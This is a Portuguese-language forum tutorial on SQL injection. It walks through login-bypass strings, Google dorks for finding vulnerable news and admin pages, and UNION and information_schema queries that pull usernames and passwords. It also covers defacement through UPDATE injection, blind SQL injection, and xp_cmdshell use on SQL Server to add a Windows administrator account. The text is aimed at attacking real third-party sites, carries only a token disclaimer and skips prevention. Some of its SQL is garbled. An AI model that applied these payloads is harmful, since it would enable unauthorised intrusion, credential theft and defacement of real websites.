SQL Injection Completo avançado

Com a popularização da internet e o crescimento dos diversos recursos foi

possível a criação de sites interativos e também, páginas de cadastro de

serviços diversos.

As informações colhidas em cadastros são gravadas em bancos de dados.

Bancos de dados são um conjunto de tabelas que armazenam informações,

lembrando que podem ser desde Nome e Idade até CPFs, números de cartão de crédito etc.

Mas, para haver comunicação entre a página e o banco de dados, é necessária uma linguagem extra.

Nesses tempos atuais “de sofrimento e tortura”, a linguagem para bancos de dados mais usada em todo o

mundo é a SQL.

SQL significa Structured Query Language, ou Linguagem de Consulta

Estruturada.

Surgida na década de 70, a SQL foi inicialmente criada pela IBM, mas logo

surgiram diversas variações da linguagem, criadas por outras empresas. Já ouviu falar em MySQL e Oracle

e não sabia o que era? São as variações da SQL original, criadas pela MySQL AB e pela Oracle

Corporation, respectivamente.

A SQL Injection, ou seja, “Injeção de SQL” é uma técnica muito fácil e também muito poderosa. Não são

necessários scanners para achar sites vulneráveis e os comandos são enviados diretamente no navegador.

Isso faz da SQL Injection uma ótima técnica. O único pré-requisito para usar tal técnica é um

conhecimento básico de SQL.

Aprendendo SQL

Os comandos em SQL são todos em inglês e não são complicados. Esse é o

motivo de ser a linguagem de bancos de dados mais usada no mundo. É esse também o motivo que

favorece um invasor.

Os comandos que você precisa saber para fazer SQL Injection são:

SELECT – Busca alguma informação do banco de dados e exibe;

INSERT – Insere informações do banco de dados;

DELETE – Apaga informações do banco de dados;

UPDATE – Atualiza, ou seja, sobrescreve uma nova informação.

As principais cláusulas, geralmente usadas com o SELECT, são:

FROM – Especifica a tabela de onde serão retiradas informações.

WHERE – Significa AONDE.

HAVING – Significa TENDO.

ORDER BY – Usado para ordenar algum resultado.

Os operadores lógicos são:

OR – Significa OU

AND – Significa E

NOT – Significa NÃO

Os principais operadores de comparação são:

< - Significa MENOR

> - Significa MAIOR

<> - Significa DIFERENTE

<= - Significa MENOR OU IGUAL

>= - Significa MAIOR OU IGUAL

= - Significa IGUAL

LIKE – Significa PARECIDO.

-------------------------------------------------------------------------------------------------------

Nota

No operador LIKE usamos o sinal de porcentagem %. O % significa qualquer valor que esteja antes ou depois da palavra

fornecida. Não confunda com asterisco (*)!

O % é somente usado no LIKE!

Strings são escritas entre aspas („ e ‟);

Números são escritos normalmente;

Datas são escritas entre jogo-da-velha (#);

Quando quiser especificar mais de alguma coisa, use parênteses.

-------------------------------------------------------------------------------------------------------

Nada melhor do que alguns exemplos para entender como funcionam as coisas.

Aqui vão alguns exemplos:

SELECT Usuário FROM Cadastro

SELECT * FROM Cadastro

SELECT Nome,Idade,Telefone FROM Cadastro

SELECT Nome,Idade FROM Cadastro WHERE Idade >= 18

SELECT Nome,CPF FROM Cadastro WHERE Nome LIKE %Fulano%

SELECT * FROM Cadastro ORDER BY Nome

INSERT INTO Cadastro (Nome,Idade) VALUES („Fulano‟,24)

INSERT INTO Cadastro (Data,Rua) VALUES (#01-01-2008#,„Rua dos Mortos‟)

DELETE Nome FROM Cadastro

DELETE (Nome,Idade,Telefone) FROM Cadastro

DELETE Nome FROM Cadastro WHERE Nome LIKE %Fulano%

UPDATE Nome FROM Cadastro SET Nome=„Beltrano‟ WHERE Nome=„Fulano‟

UPDATE Nome FROM Cadastro SET Nome=„Fulano‟ WHERE Nome LIKE %Beltrano%

Traduzindo...

Lembrando que SQL é puro e simples inglês, não é tão difícil entender os

exemplos acima.

“SELECT Usuário FROM Cadastro” é a mesma coisa que falar ao banco de dados “Mostre a coluna Usuário

da tabela Cadastro”. É também possível fazer o inverso, criar a consulta em língua normal e depois

transcrever em SQL.

Essa tradução se trata do que em programação é chamado pseudo-código.

Um Pouco de Prática

Supondo que eu esteja dentro de uma página que usa a SQL para processar o login. Temos o campo de

usuário e o campo de senha.

Estamos em uma página ASP (algumas são em PHP) e o código para capturar as entradas no formulário

são:

campo_usuario = Request.Form(“usuário”)

campo_senha = Request.Form(“senha”)

A parte mais importante do código da página é:

SELECT (usuario,senha) FROM cadastro

WHERE usuario=‟ & campo_usuario & „ AND senha=‟ & campo_senha & „

Essas, você já deve ter percebido, são instruções SQL. Para os que não

conseguem traduzir, o código compara os dados fornecidos no formulário com os dados que estão

guardados no banco de dados. Se o usuário e a senha batem, é efetuado o login na página.

Ótimo, temos um formulário simplíssimo de login numa página ASP usando SQL, com segurança. Com

segurança? E o que acontece se digitarmos código malicioso, como ‟ OR „1‟=„1, nos campos de usuário e

senha? Vamos ver. O código em SQL executado seria esse:

SELECT (usuario,senha) FROM cadastro

WHERE usuario=‟ „ OR „1‟=‟1 „ AND senha=‟ „ OR „1‟=‟1 „

Vamos fazer uma tradução: “Pegue usuario e senha da tabela cadastro, aonde usuario é vazio ou verificar

se 1 é igual a 1 e aonde senha é vazio ou verificar se 1 é igual a 1”, ou seja, ele procura por um campo

vazio, ou verifica se 1 é igual a 1. Como 1 é igual a 1, ele entra como administrador, pois estávamos na

página de login para administradores.

Em alguns casos, os administradores criam um campo vazio no banco de dados para testes e isso pode

furar com sua invasão.

Aqui vão algumas strings:

‟ OR „1‟=„1

‟ OR „a‟=„a

‟ OR „1

‟ OR „‟=„

------------------------------------------------------------------------------------------------------- * Não vou me aprofundar aqui por já haver outras explanações em post‟s aqui no fórum

-------------------------------------------------------------------------------------------------------

Tente traduzir as strings e entender o que elas fazem na página.

[COLOR="Blue"]Quem Procura Acha[/COLOR]

Como o login é feito em páginas da web, podemos usar o Google para achar

páginas vulneráveis. Google tem vários truques, comandos escondidos que a maioria não usa. Como

profissionais da área, nós a usamos.

Um destes comandos é o allinurl. Ele serve para retornar somente páginas que tenham determinados

termos na URL. Aqui vão alguns exemplos:

allinurl:”admin/index.asp”

allinurl:”admin/login.asp”

allinurl:”admin/default.asp”

allinurl:”admin/admin.asp”

------------------------------------------------------------------------------------------------------- * Não vou me aprofundar aqui por já haver outras explanações em post‟s aqui no fórum

-------------------------------------------------------------------------------------------------------

(In)Felizmente, as páginas vulneráveis a SQL Injection estão ficando mais raras, mas ainda é possível

achar uma e outra. Verifique página por página.

Prevenção

Preferi não indicar links, matérias ou comentários sobre prevenção (abordarei sobre o assunto em uma

outra ocasião), também é preferível que se obtenha informações diretamente de outros autores aqui no

forum ou na net (assim valorizamos os esforços de outros profissionais).

Advanced SQL Injection

Na matérias anteriores os caros leitores tiveram uma pequena introdução à SQL Injection (SQL); não foi

grande coisa e o modo pelo qual injetávamos SQL, em campos, e para efetuar login está praticamente

extinto. É com dificuldade que encontramos sites vulneráveis a técnica, como foi ensinada. Mesmo assim,

é muito ignorante aquele que diz que a SQL Injection está morta. O que aconteceu foi que os

administradores e web masters captaram a mensagem de que seus sistemas com campos eram

vulneráveis e passaram a usar filtros.

Então a SQL Injection estava acabada, estagnada, esgotada e destruída?! Errado! Os administradores se

esqueceram de que não são apenas os campos de login que usam SQL...

Nesses sites de empresas e de prefeituras, temos, como exemplo de página que requisita banco de dados,

um portal de notícias. Na verdade, não é um requisito usar DBs (Data Base[s]), já vi alguns sites que

usam páginas diferentes para as notícias, mas voltemos ao assunto...

As duas principais linguagens de programação voltadas à internet, tirando o HTML e o CSS, obviamente,

são o PHP e o ASP. O PHP é uma iniciativa gratuita, criada por Rasmus Lerdof. Já o ASP é uma iniciativa

paga criada pela Microsoft.

Na verdade, ambos não são apenas uma linguagem, mas sim todo um sistema que permite um scripting

de qualidade. Ao menos, o PHP sim...

Reconhecer a linguagem no qual o portal de notícias é escrito é muito fácil.

Eu nem ia explicar isso, mas vamos dar uma ajudinha aos iniciantes...

Páginas em PHP tem a extensão .php:

Páginas em ASP tem a extensão .asp:

Sem exceção, os servidores que rodam .asp funcionam sob o Windows, por motivos óbvios: o ASP é feito

pela Microsoft. Normalmente, usam o SQL Server, também da Microsoft, porém é possível que

usem MySQL.

Já os servidores .php geralmente estão no GNU/Linux, usando MySQL, embora possam existir servidores

que suportam PHP no Windows.

Basicamente, a linguagem que é utilizada é o SQL, porém toda a plataforma muda, sendo assim, técnicas

como a utilização do LIMIT, em MySQL, não funcionam em SQL Server.

Os contrastes podem ser grandes no próprio site. Por exemplo, na maioria dos sites não há filtros contra

esse tipo de SQL, porém alguns tem e podem ser burlados através de codificação e de Blind SQL Injection.

Quem nem ao menos sabe do que estou falando, não se preocupe, tudo será ensinado!

Comecemos, então

A técnica de SQL que utilizaremos é baseada na exploração do banco de dados através de erros exibidos,

permitindo coletar informações como logins, senhas, endereços de e-mail e em alguns casos (sob SQL

Server) executar comandos como se estivéssemos no prompt de comando.

Também nos permite efetuar defacement, entre várias outras opções.

Enfim, podemos utilizar todo o poder da SQL e fundi-la com XSS.

Encontrar páginas vulneráveis à SQL é muito fácil. Uma das melhores

ferramentas existentes para isso e de fácil acesso é o próprio Google, o mesmo buscador que utilizamos

todos os dias para fazer trabalhos escolares e encontrar fotos, músicas, videos, etc... apesar de que para

imagens é melhor desativar o SafeSearch...

Pois bem, as páginas que usam GET, ou seja, utilizam a URL para passar parâmetros são nas quais mais

facilmente injetamos SQL. Sendo assim, o recurso inurl do Google é muito útil.

Em teoria, todas as páginas que utilizam SQL e não têm filtros estão vulneráveis à SQL, então, para

encontrá-las, basta procurar páginas que obrigatoriamente usam SQL como portais de notícias por

exemplo. Normalmente nestes portais; para facilitar o acesso, cada notícia recebe um ID e é a partir dele

que injetaremos comandos SQL.

Sendo assim, as das muitas strings de busca no Google seriam:

inurl:”noticias.php?id=”

inurl:”noticia.php?id=”

inurl:”ver_noticia.php?id=”

inurl:”ver.php?id=”

inurl:”abrir.php?id=”

inurl:”mostrar.php?id=”

Estes são só pequenos exemplos. (Lembrando que também existem páginas vulneráveis em ASP, sendo assim, a string deve

ser adaptada).

Para descobrir a vulnerabilidade, basta uma aspa simples ( „ ) atrás do ?id=.

Se o sistema estiver utilizando MySQL e estiver vulnerável, o erro será este:

-------------------------------------------------------------------------------------------------------

You have an error in your SQL syntax; check the manual that corresponds to your

MySQL server version for the right syntax to use near „„„ at line 1.

-------------------------------------------------------------------------------------------------------

Porém, se estiver utilizando SQL Server, este será o erro:

-------------------------------------------------------------------------------------------------------

Unclosed quotation mark after the character string „„.

-------------------------------------------------------------------------------------------------------

Se nenhum erro for exibido, simplesmente a página não está vulnerável ou a abordagem deve ser melhor

estruturada, ou seja, feita de meios diferentes. Às vezes, não serão exibidos erros a partir da simples

inclusão do apóstrofo, mas serão de outros modos.

Algumas dicas são apagar o valor do ID e por o apóstrofo, ou substituir o valor do ID por null, não

exibindo nenhuma notícia. Eu pessoalmente aprecio muito o null.

Também pode acontecer de a página estar vulnerável, mas não exibir esse erro, sendo necessária, como

já disse, uma abordagem melhor feita.

Bom, não se preocupe se não encontrar uma página vulnerável na primeira tentativa, afinal, SQL

Injection, com todos os seus modos de injeção, é a segunda vulnerabilidade mais popular em páginas da

internet, perdendo apenas para XSS.

Páginas vulneráveis a SQL são extremamente comuns!

Expliquemos como faremos o sistema exibir um erro utilizando a aspa simples.

Pouparei a demasia nas explicações, até porque já abordei um pouco das SQL queries em outra ocasião.

Supondo que a query inicial seja:

SELECT noticia, data, autor FROM database.noticias WHERE id='100'

E estamos pondo um apóstrofo, esta será a query:

SELECT noticia, data, autor FROM database.noticias WHERE id='100''

O sistema vai tentar obter a notícia, a data, e o autor da notícia através da ID 100 e vai definir outra

variável sem nome com a aspa simples do próprio sistema, ou seja, estamos fazendo uma operação

impossível, e por isso o sistema acusa o erro. Tanto é que o SQL Server acusa unclosed quotation,

“citação” aberta.

Conceitos de Bancos de Dados

Depois de encontrar uma página vulnerável, podemos começar a explorar o banco de dados. Antes de

explorá-lo é necessário saber como funciona. Cada site pode ter uma ou mais conexões de bancos de

dados, cada banco de dado pode ter uma ou mais tabelas, e cada tabela é divida em linhas e colunas.

Imagine que cada tabela é como uma planilha no Excel ou no Math.

Note que nos exemplos desta página, a query pede as colunas noticia, data e autor, da tabela noticias no

banco de dados database.

Aprendendo SQL

Nas matérias anteriores eu já tinha abordado uma parte dos comandos que podemos utilizar em SQL e

agora aqui estão mais alguns que serão necessários para os nossos trabalhos:

UNION - é usado para combinar o resultado de SELECT;

ORDER BY - ordena as colunas utilizando como critério uma coluna;

HAVING - “tendo”, ou seja, ser tiver certo critério!

Felizmente, na prática tudo se torna mais esclarecido.

MySQL

Tomemos como exemplo fictício um site cujo endereço é http://site.com.br. Neste site temos várias

páginas, e uma delas é a noticias.php.

Acessando o endereço http://site.com.br/noticias.php?id=10‟ recebemos o seguinte erro:

-------------------------------------------------------------------------------------------------------

You have an error in your SQL syntax; check the manual that corresponds to your

MySQL server version for the right syntax to use near „„„ at line 1.

-------------------------------------------------------------------------------------------------------

Isso significa que está vulnerável. Se aparecer, ótimo, se não aparecer, não desista! É extremamente

comum encontrar sites em PHP que não exibem a mensagem e estão vulneráveis. De qualquer modo, vale

a pena tentar se aprofundar antes de simplesmente largar o site. Na verdade, esse passo não é

estritamente necessário...

Com um site em mãos, vamos encontrar o número de colunas da tabela que está sendo usada para

guardar as notícias, e a partir daí descobrir mais sobre o banco de dados inteiro. Utilizaremos oORDER

BY para tanto.

Vamos tentar número por número até chegar ao número certo de colunas, adicionando o seguinte após a

URL , sem o que estiver entre os parênteses:

order by 2 -- (notícia exibida)

order by 3 -- (notícia exibida)

order by 4 -- (notícia exibida)

order by 5 -- (notícia exibida)

order by 6 -- (erro)

Quando a notícia não é exibida, temos o seguinte erro: -------------------------------------------------------------------------------------------------------

Unknown column „6‟ in „order clause‟

-------------------------------------------------------------------------------------------------------

Sabemos agora que a nossa tabela tem apenas cinco colunas - geralmente temos mais, já encontrei sites

com dez colunas na tabela - podemos utilizar o UNION para explorar o banco de dados inteiro.

É possível deduzir que em uma query do tipo SELECT título, texto, autor, os resultados serão exibidos na

página.

Com o UNION descobrimos quais resultados são exibidos na página e vamos substituir os resultados por

qualquer outra query.

A partir de agora é interessante substituir o número do id da notícia por null, que não irá retornar

nenhuma notícia e irá facilitar/permitir nosso trabalho.

Mas antes de descobrir o resto do sistema de MySQL, é racional descobrir o banco de dados em que

estamos, afinal, imagine um site com mais de uma conexão de banco de dados criada pelo administrador,

em qual estamos?

Utilizemos o seguinte esquema, após a URL:

null union select 1,2,3,4,5 from NOTEXIST --

Um erro semelhante a este é exibido:

Table „database.NOTEXIST‟ doesn‟t exist

O que acabamos de fazer é requisitar uma tabela que não existe, sem definir a conexão de banco de

dados a que ela pertence, e o sistema, por padrão, adota a conexão atualmente utilizada, que no caso é

database. Os dois traços no final, são sinais de comentários em SQL MySQL, para ignorar o resto da query

que geraria um erro por causa do apóstrofo de fechamento.

Agora já podemos descobrir mais sobre o banco de dados em que estamos, inclusive possíveis tabelas que

guardam informações de login. Para tanto, necessitamos descobrir que resultados de query são exibidos

na página; utilizemos esta forma:

null union select 1,2,3,4,5 --

Os resultados variam de página para página, mas seria exibido algo como isso:

-------------------------------------------------------------------------------------------------------

Notícias

2

2 //1

3

-------------------------------------------------------------------------------------------------------

Outro exemplo de “displaying” é este:

-------------------------------------------------------------------------------------------------------

Notícias

5 - 2

4

---------------------------------------------------------

+ FOTOS (clique na foto para ampliar)

---------------------------------------------------------

Outras Matérias:

Ø 4/1/1933 – 3

-------------------------------------------------------------------------------------------------------

Então, escolhemos um ou mais números que são exibidos para explorar todo o sistema de banco de

dados.

Supondo que na tela sejam exibidos 1, 2 e 3, como no primeiro exemplo, então usaremos na URL os

lugares respectivos ao 3 para nossos objetivos e os outros números, mesmo o 4 e o 5, substituímos por

null, ou não...

A Sun, que produz o MySQL quis facilitar o trabalho dos hackers administradores criando um banco de

dados que armazena praticamente todas as informações interessantes, como nomes de conexões de

bancos de dados, tabelas, colunas entre outras. A partir da versão 5.0 do MySQL temos a DB

information_schema, que é amplamente utilizada em SQL.

Dentro da information_schema, temos as tabelas tables e columns que são muito importantes, creio que

não seja necessário explicar o que elas guardam; dentro delas, há colunas que guardam todos os nomes

de tabelas e colunas do sistema.

Além disso, há uma tabela em especial, que guarda a DB das tabelas e colunas definidas pelo

administrador, a table_schema, que também será utilizada.

Primeiramente, vamos descobrir se estamos em um site com o MySQL anterior à 5.0, utilizando o seguinte

depois da URL:

null union select 1,2,@@version,4,5 --

Resumidamente, o @@version é uma variável global que guarda a versão do sistema de banco de dados.

Baseados nos resultados, que sempre tem o número da versão, temo-no...

Se estamos em um site que utilize 5.0 ou posteriores, ótimo. Se não, então teremos que chutar os nomes

das tabelas, seguindo padrões de administração, e todo o papo que se refere àinformation_schema é

inútil.

Alguns exemplos de @@version:

-------------------------------------------------------------------------------------------------------

5.0.67 –community

5.0.67 –community //1

3

-------------------------------------------------------------------------------------------------------

-------------------------------------------------------------------------------------------------------

//2

3

5.0.67 -community

-------------------------------------------------------------------------------------------------------

Comecamos descobrindo as tabelas no banco de dados que já descobrimos, o database, adicionando o

seguinte à URL com o null que estávamos usando:

null union select 1,2,table_name,4,5 from information_schema.tables where table_schema='database'

limit 0,1 --

Não é preciso dizer, é pedido um nome de tabela à information_schema.tables, quando a DB for database.

Se tudo correr bem, teremos um nome de tabela:

-------------------------------------------------------------------------------------------------------

5 - 2

artigos

-------------------------------------------------------------------------------------------------------

Perfeito, descobrimos uma tabela, mas o nome dela é noticias, seu conteúdo, deduzimos, não é muito útil

para nós, a menos que queiramos fazer um defacement.

Sobre o defacement, é preciso descobrir as colunas da tabela, isso nós veremos adiante.

E agora, como fazemos para descobrir mais tabelas?

Note que na query anterior, utilizei limit 0,1 no final. O limit servirá como um cursor entre as tabelas. Para

avançar para a próxima tabela, utilizamos limit 1,1, depois limit 2,1 e assim sucessivamente, até encontrar

todas as tabelas.

Supondo que tenhamos encontrado as tabelas “noticias”, “discursos”,

“compromissos”, “login” e “teste”. É altamente deduzível o conteúdo de cada uma, e basta prestar um

pouco de atenção para perceber que os usuários e senhas estão armazenados na tabela login...

Agora será necessário descobrir as colunas de cada tabela, já que sem as colunas (onde estão guardados

os dados e logins), não conseguimos obter dados. Seria como tentar acertar o meio de um alvo, sem a

“mosca”.

Obter os nomes das colunas é muito parecido com obter as tabelas:

null union select 1,2,column_name,4,5 from information_schema.columns where table_name='login' limit

0,1 --

E assim utilizamos o LIMIT novamente como cursor.

Ótimo, temos o nome de todas as tabelas, e as colunas da(s) tabela(s) que nos interessa(m), muito bom,

e agora, como fazer para obter usuários e senhas, de nossa conhecida tabela login, supondo que

descobrimos as colunas user, pass e privileges?

Quase terminando a parte que aborda o MySQL, permita-me ensinar como obter “linhas” de cada coluna

da tabela, isto é, o que nos interessou desde o início. Fique sabendo que, encontrou sites vulneráveis,

brincou com as tabelas e enfim, entendeu tudo que foi passado, meus parabéns. Para mim não foi tão

fácil assim!

Bem, voltando ao objetivo...

Nós estávamos fazendo queries às tabelas do sistema, que para os nossos fins - e não nossos meios - de

nada nos interessam. Então, a estrutura da query é a mesma.

null union select 1,2,user,4,5 from database.login --

Ótimo, obtemos um usuário, fulano.

Para obter a senha, como deve saber:

null union select 1,2,pass,4,5 from database.login where user='fulano' --

E está lá a senha. Para obter os privilégios, conteúdo da coluna privileges:

null union select 1,2,privileges,4,5 from database.login where user='fulano'--

Cansativo pegar usuário com uma query, senha com outra query e privilégios com outra? Podemos

(tentar) concatenar todos, e obter todos de uma tacada só:

null union select 1,2,concat_ws(user,pass,privileges),4,5 from database.login --

O limit ainda é válido nestes casos, podendo usar como cursor.

Supondo que já saibamos o nome de usuário, ou deduzimos a partir de qualquer lugar, que parte do

nome de usuário é admin... Podemos usar o like:

null union select 1,2,concat_ws(user,pass,privileges),4,5 from database.login where user like '%admin%' -

-

E assim, obtemos o usuário e a senha do administrador, cujo usuário seria; no exemplo, algo parecido

com admin.

Bom, podemos obter senhas de usuários do site, ou podemos efetuar um defacement, para deixar a nossa

assinatura.

Neste caso...

Neste caso, antes de qualquer coisa, devemos definir a tabela que queremos atacar. Supondo que

queiramos modificar uma notícia, a mais recente, para uma mensagem como 6SÃOLAMMAH, primeiro,

vamos descobrir quais colunas tem a tabela notícias, aquela em que estávamos no começo:

null union select 1,2,column_name,4,5 from information_schema.columns where table_name='noticias'

limit 0,1 --

E aí, utilizamos o LIMIT como cursor novamente. Depois de descobrir todas as colunas, que em nosso

exemplo seriam algo como id, titulo, texto, autor e data, nós podemos modificar o que queremos com o

comando update.

Nesse caso, não estamos mais fazendo queries ao sistema. Agora vamos modificar o banco de dados, e

por isso, devemos fechar a query que utilizava o id para se orientar.

Vamos utilizar um ID novo, atribuído a uma notícia fresquinha, para que ninguém tenha que pegar alguma

das primeiras notícias para visualizar a sua “arte”. Supomos que este ID seja 1000, e montamos assim,

atrás do ?id=:

null update noticias set texto='6SÃOLAMMAH' where noticias.id=1000 --

No exemplo, o que fazemos é fechar a string que pega o id, e através do ponto-e-vírgula, passamos

outros comandos ao banco de dados. Sendo assim, ao menos em teoria, temos um defacement.

Fazer um deface pode e deve ser mais completo, então, deveríamos ao menos alterar o título da notícia e

incrementar nosso texto com alguma coisa em HTML, para que o usuário tenha a sensação de que o

“hacker” teve estilo, e não foi apenas idiota.

Quem se ligou agora, deve ter percebido que poderia utilizar algumas funções do PHP para reavivar uma

antiga técnica, hoje em desuso, a dita PHP Injection que eu nem pretendo abordar na revista, por estar

morta e por ter conteúdo sobrando pela internet...

Mas é isso!

Lembrando que não estou incentivando ninguém a cometer qualquer ato comprometedor, anti-ético ou

ilícito, e assim, me isento de qualquer responsabilidade. É muito mais inteligente avisar o administrador

que o site dele está vulnerável. O triste é fazer isso quando o administrador e o dono do site são a mesma

pessoa, e ainda por cima, um web master, como já aconteceu comigo...

SQL Server

O SQL Server é um produto da Microsoft, sendo assim geralmente roda sob páginas .asp e

obrigatoriamente, roda em Windows, já que creio que a Microsoft não vai criar uma versão da sua

plataforma para o GNU/Linux...

Considero-o mais fácil de se explorar que o MySQL, não que o adversário seja difícil de explorar, mas

falhas em SQL Server permitem causar mais estragos mais facilmente. Posteriormente veremos o motivo.

O esquema de verificação de vulnerabilidade é semelhante ao das plataformas MySQL, a aspa simples e a

aspa dupla - e em alguns casos, parênteses e outros caracteres comuns de fechamento. Bom, se não

tinha se ligado nisso...

Nos primeiros passos o que mudam são os erros.

Novamente, tentando fechar a string utilizando uma aspa simples, com

http://site.com.br/noticias.asp?id=null‟, recebemos:

-------------------------------------------------------------------------------------------------------

Unclosed quotation mark before the character string „„.

-------------------------------------------------------------------------------------------------------

Ao contrário do MySQL que é muito comum inserirmos aspa e não retornar nenhum erro, e mesmo assim

o site estar vulnerável, no SQL Server é comum exibir o erro “na cara dura”. MySQL 1 x 0 SQL Server.

No SQL Server, vamos trabalhar um pouco diferente do que no MySQL, e podemos explorar diretamente a

tabela em que estamos:

http://site.com.br/noticias.asp?id=null having 1=1 --

Surge algo tipo:

-------------------------------------------------------------------------------------------------------

Microsoft][ODBC SQL Server Driver][SQL Server]Column „noticias.id‟ is

invalid in the select list because it is not contained in an aggregate

function and there is no GROUP BY clause.

-------------------------------------------------------------------------------------------------------

Assim, conseguimos uma coluna da nossa tabela!

Para descobrir mais sobre a tabela das notícias, utilizamos a cláusula group by. Assim, injetamos:

http://site.com.br/noticias.asp?id=null group by noticias.id having 1=1 –

-------------------------------------------------------------------------------------------------------

[Microsoft][ODBC SQL Server Driver][SQL Server]Column „noticias.titulo‟ is

invalid in the select list because it is not contained in an aggregate

function and there is no GROUP BY clause.

-------------------------------------------------------------------------------------------------------

Agora, atrás do .asp?id=:

null group by noticias.id,noticias.titulo having 1=1 --

-------------------------------------------------------------------------------------------------------

[Microsoft][ODBC SQL Server Driver][SQL Server]Column „noticias.texto‟ is

invalid in the select list because it is not contained in an aggregate

function and there is no GROUP BY clause.

-------------------------------------------------------------------------------------------------------

null group by noticias.id,noticias.titulo,noticias.texto having 1=1--

-------------------------------------------------------------------------------------------------------

[Microsoft][ODBC SQL Server Driver][SQL Server]Column „noticias.autor‟ is

invalid in the select list because it is not contained in an aggregate

function and there is no GROUP BY clause.

-------------------------------------------------------------------------------------------------------

null group by noticias.id,noticias.titulo,noticias.texto,noticia s.autor having 1=1 --

-------------------------------------------------------------------------------------------------------

[Microsoft][ODBC SQL Server Driver][SQL Server]Column „noticias.data‟ is

invalid in the select list because it is not contained in an aggregate

function and there is no GROUP BY clause.

-------------------------------------------------------------------------------------------------------

Acabamos. Se executarmos isso:

null group by noticias.id,noticias.titulo,noticias.texto,noticia s.autor,noticias.data

having 1=1 --

-------------------------------------------------------------------------------------------------------

The text, ntext, and image data types cannot be compared or sorted, except

when using IS NULL or LIKE operator.

-------------------------------------------------------------------------------------------------------

Sobre esses group by nós podemos, ao invés de utilizar

noticias.id,noticias.etc, podemos também usar simplesmente id,etc, ou seja, não colocamos a tabela na

frente. Porém, se existir a mesma coluna em outra tabela, com certeza teremos erros.

Agora, se quisermos, já podemos fazer um defacement:

null update noticias set texto='6SÃOLAMMAH' where noticias.id=1000 --

Bom, mas me diga, qual a utilidade do defacement?

Como já estamos bem afiados a esta altura do campeonato, não creio que valha a pena mostrar como

obter senhas, porém... o limit não existe em SQL Server.

Ao invés de utilizar o limit, vamos usar uma query com top e not exist para explorar o banco de dados.

null union select top 1 1,2,user,4,5 from database.login where user not exist (select top 0 user from

database.login)

O que acabamos de fazer é utilizar o top, que pega a linha x da coluna user, se este resultado não estiver

em outra query semelhante, mas com o x-1.

A nossa próxima query seria:

null union select top 2 1,2,user,4,5 from database.login where user not exist (select top 1 user from

database.login)

Como vemos, o limit realmente faz falta, mas nada que um cérebro e algumas outras funções não

resolvam. Na verdade, o esquema é bem parecido com o limit, mas muda um pouco...

Agora que já aprendemos a explorar o banco de dados, vamos explorar o resto do sistema. Sim, em um

servidor existe mais que um banco de dados...

Temos todo um sistema operacional, que a partir de SQL Injection, pode se tornar nosso, ou melhor,

podemos tomar conta...

Agora que aprendemos como explorar o banco de dados, permita-me ensinar uma “falha de projeto” do

SQL Server, que permite a execução remota de comandos, os mesmos comandos que se digitaria no

prompt de comando.

Ou seja, a partir de agora, você terá poder sobre servidores SQL Servers vulneráveis a SQL. MySQL 2 x 0

SQL Server

No SQL Server existe uma função que executa comandos como se o

administrador estivesse em um prompt de comando, o tal do xp_cmdshell.

Supondo que o administrador queira testar a comunicação, ele pode dar um ping em loopback utilizando:

exec master..xp_cmdshell „ping localhost‟;

Para o invasor, o esquema muda um pouco; estamos de intrusos no sistema e precisamos construir um

query que execute esse xp_cmdshell.

Assim, atrás de um id, digitamos:

exec master..xp_cmdshell 'ping localhost';

E pronto, o servidor dá ping em loopback.

“Para que isso poderia ser útil?! Que comandos executo?!”

Permita-me exemplificar:

net user [usuario] [senha] /add {cria um usuário no servidor remoto e permite login por telnet ou por área

de trabalho remota}.

Se for utilizado em conjunto com

net localgroup Administrators [usuario] /add {adiciona o usuário ao grupo dos administradores}

Por padrão, no SQL Server 2005 o xp_cmdshell está desativado por motivos de segurança, porém, se

quisermos, podemos ativá-lo:

exec sp_configure 'show advanced options',1

reconfigure

exec sp_configure 'xp_cmdshell', '1'

reconfigure

Lembrando que temos que adequar isso à query para SQL Injection.

Blind SQL Injection

Agora que já aprendemos o básico da SQL e já temos o mínimo de maturidade nesse tipo de técnica,

podemos aprender sobre Blind SQL Injection. Antes, de começar, eu gostaria de fazer duas considerações.

A primeira é quanto a origem do nome “blind SQL injection”. Blind, em inglês, é um adjetivo que significa

“cego”; isto quer dizer que não usamos os erros comuns para explorar o banco de dados.

A segunda, é que Blind SQL é um pouco mais difícil de entender e demorada que a Advanced SQL comum.

A Blind SQL surgiu da necessidade de burlar ou bypass um “filtro” utilizado por alguns web masters.

Colocando-se um sinal de arroba (@) atrás da função que pega os dados, os erros que esta função

poderia exibir são ocultos. Normalmente, isso dá uma certa impressão de segurança ao web master que

não entende as possibilidades da Blind SQL Injection.

O que fazemos na Blind SQL é utilizar o operador AND para comparar o resultado de uma query com o ID,

e retornar os valores booleanos TRUE ou FALSE.

Para descobrir a vulnerabilidade, utilizamos de cara o AND:

http://site.com.br/noticia.php?id=1 and 1=1

http://site.com.br/noticia.php?id=1 and 0=1

O primeiro, caso o site esteja vulnerável, retorna o valor TRUE - já que 1 sempre é igual a 1 - e exibe a

página corretamente. No segundo endereço fictício, o site não retornaria uma página “coerente” com o

site, já que o resultado sempre é FALSE.

Concluímos que o nosso site fictício está sim vulnerável a Blind SQL e vamos partir para cima dele. Como é

um portal de notícias que usa IDs para “linkar” as notícias e é um site brasileiro - que fala português - é

provável que a tabela que guarda as notícias seja algo como noticia, noticias, noti, news e muitos outros

padrões de administração.

Para explorar o banco de dados, nós vamos utilizar o AND da mesma forma, porém, vamos verificar se um

é igual ao resultado de alguma query. Basicamente, é assim que funciona Blind SQL.

O problema de sempre é que não conseguimos visualizar nomes de databases, tabelas e colunas via

information_schema ou via sysobjects, e sempre temos que “chutar” o nome...

Primeiramente, vamos descobrir o nome de algumas tabelas.

http://site.com.br/noticias.php?id=1 and 1=(select * from noticias)

Neste caso, seguindo as tabelas que usei como exemplo anteriormente, a página seria exibida

normalmente, indicando que de fato existe a tabela noticias. Sabendo disso, poderíamos testar n nomes

de tabelas para descobrir qual a tabela que guarda os nomes de usuários e senhas. Não muda muita coisa

para capturar nomes de colunas:

http://site.com.br/noticias.php?id= 1 and 1=(select texto from noticias)

Se a coluna texto existir, então a página da notícia 1 é exibida.

Agora já poderíamos efetuar um defacement:

http://site.com.br/noticias.php?id=1000 and 1=(update noticias insert set texto='6SÃOLAMMAH' where

noticias.id=1000)

Provavelmente, a página já será exibida com o novo texto.

Mas como vivo dizendo, para fins didáticos, o defacement não acrescenta nada.

Caso esteja interessado em expor suas idéias, tente fazer algum outro tipo de protesto...

Agora o objetivo é capturar alguma conta e senha de algum usuário.

Depois de algumas tentativas, descobrimos a tabela que contém os nomes de usuários, senhas e outras

informações que não são tão interessantes para nós, cujo nome é login.

